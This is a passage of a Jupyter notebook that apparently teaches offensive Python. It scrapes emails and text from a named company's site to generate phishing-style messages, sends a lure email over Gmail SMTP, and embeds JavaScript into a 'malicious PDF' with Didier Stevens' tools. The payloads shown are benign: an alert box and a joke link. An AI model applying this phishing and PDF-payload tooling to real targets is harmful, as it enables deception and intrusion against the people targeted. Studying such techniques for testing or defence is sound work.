"outputs": [], |
|
|
"source": [ |
|
|
"# pip install pymarkovchain\n", |
|
|
"\n", |
|
|
"import requests\n", |
|
|
"from bs4 import BeautifulSoup\n", |
|
|
"from pymarkovchain import MarkovChain\n", |
|
|
"import re\n", |
|
|
"\n", |
|
|
"target = \"https://standardprocess.com\"\n", |
|
|
"response = requests.get(target)\n", |
|
|
"\n", |
|
|
"# Find any email addresses on page\n", |
|
|
"emails = re.findall(r'[\\w\\.-]+@[\\w\\.-]+', response.text)\n", |
|
|
"print(\"Possible addresses found: %s\\n\" % emails)\n", |
|
|
"\n", |
|
|
"# Gather visible text on target page\n", |
|
|
"soup = BeautifulSoup(response.text, 'lxml')\n", |
|
|
"snippets = soup.body.findAll(lambda s: not s.name in ['style', 'script'], text=True)\n", |
|
|
"bag = ' '.join([snip.text.strip() for snip in snippets])\n", |
|
|
"\n", |
|
|
"# Generate new text similar to existing page content\n", |
|
|
"mc = MarkovChain()\n", |
|
|
"mc.generateDatabase(bag)\n", |
|
|
"\n", |
|
|
"subject = mc.generateString()[:40]\n", |
|
|
"body = mc.generateString()[:300] + '\\n' + mc.generateString()[:300]\n", |
|
|
"\n", |
|
|
"print(\"Subject: %s\\n\" % subject)\n", |
|
|
"print(\"Body:\\n%s\" % body)" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Sending SMTP emails" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"import smtplib\n", |
|
|
"from email.mime.multipart import MIMEMultipart\n", |
|
|
"from email.mime.text import MIMEText\n", |
|
|
"\n", |
|
|
"sender = \"[email protected]\"\n", |
|
|
"receiver = \"[email protected]\"\n", |
|
|
"\n", |
|
|
"msg = MIMEMultipart()\n", |
|
|
"msg['From'] = sender\n", |
|
|
"msg['To'] = receiver\n", |
|
|
"msg['Subject'] = \"test\"\n", |
|
|
"body = MIMEText(\"click my <a href='https://youtu.be/dQw4w9WgXcQ'>link</a> please\", 'html')\n", |
|
|
"msg.attach(body)\n", |
|
|
"\n", |
|
|
"mail = smtplib.SMTP('smtp.gmail.com', 587)\n", |
|
|
"mail.ehlo()\n", |
|
|
"mail.starttls()\n", |
|
|
"mail.login('my_gmail_username', 'my_password')\n", |
|
|
"mail.sendmail(sender, receiver, msg.as_string())\n", |
|
|
"mail.close()" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"### Create malicious PDF with embedded JS" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"Using [make-pdf tools from Didier Stevens](https://blog.didierstevens.com/programs/pdf-tools/)\n", |
|
|
"\n", |
|
|
"Download: https://didierstevens.com/files/software/make-pdf_V0_1_6.zip\n", |
|
|
"\n", |
|
|
"Place `make-pdf-javascript.py` and `mPDF.py` in your current working directory." |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "code", |
|
|
"execution_count": null, |
|
|
"metadata": {}, |
|
|
"outputs": [], |
|
|
"source": [ |
|
|
"# Works with Python2; for Python3, will need to remove print statements and update resulting byte-strings\n", |
|
|
"\n", |
|
|
"# Save a payload into a JS file\n", |
|
|
"! echo \"app.alert({cMsg: 'Hello PDF', cTitle: 'Testing PDF JavaScript', nIcon: 3});\" > payload.js\n", |
|
|
"\n", |
|
|
"# Run make-pdf-javascript utility to embed payload into a new PDF file\n", |
|
|
"! python make-pdf-javascript.py -f payload.js demo.pdf" |
|
|
] |
|
|
}, |
|
|
{ |
|
|
"cell_type": "markdown", |
|
|
"metadata": {}, |
|
|
"source": [ |
|
|
"## Other resources\n", |
|
|
"\n", |
|
|
"Paid products:\n", |
|
|
"- [Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers](https://www.amazon.com/Violent-Python-Cookbook-Penetration-Engineers/dp/1597499579)\n", |
|
|
"- [Black Hat Python](https://www.amazon.com/Black-Hat-Python-Programming-Pentesters/dp/1593275900)\n", |
|
|
"- [Didier Stevens Labs](http://didierstevenslabs.com/products.html)\n", |
|
|
"- [Real Python](https://realpython.com)\n", |
|
|
"\n", |
|
|
"Free:\n", |
|
|
"- (PDF) [Writing Basic Security Tools Using Python](http://www.binary-zone.com/course/HTID/Python4Infosec.pdf)\n", |
|
|
"- [Twisted example scripts](http://twistedmatrix.com/documents/current/core/examples/)" |
|
|
] |
|
|
} |
|
|
], |
|
|
"metadata": { |
|
|
"kernelspec": { |
|
|
"display_name": "Python 3", |
|
|
"language": "python", |
|
|
"name": "python3" |
|
|
}, |
|
|
"language_info": { |
|
|
"codemirror_mode": { |
|
|
"name": "ipython", |
|
|
"version": 3 |
|
|
}, |
|
|
"file_extension": ".py", |
|
|
"mimetype": "text/x-python", |
|
|
"name": "python", |
|
|
"nbconvert_exporter": "python", |
|
|
"pygments_lexer": "ipython3", |
|
|
"version": "3.6.5" |
|
|
} |
|
|
}, |
|
|
"nbformat": 4, |
|
|
"nbformat_minor": 2 |
|
|
} |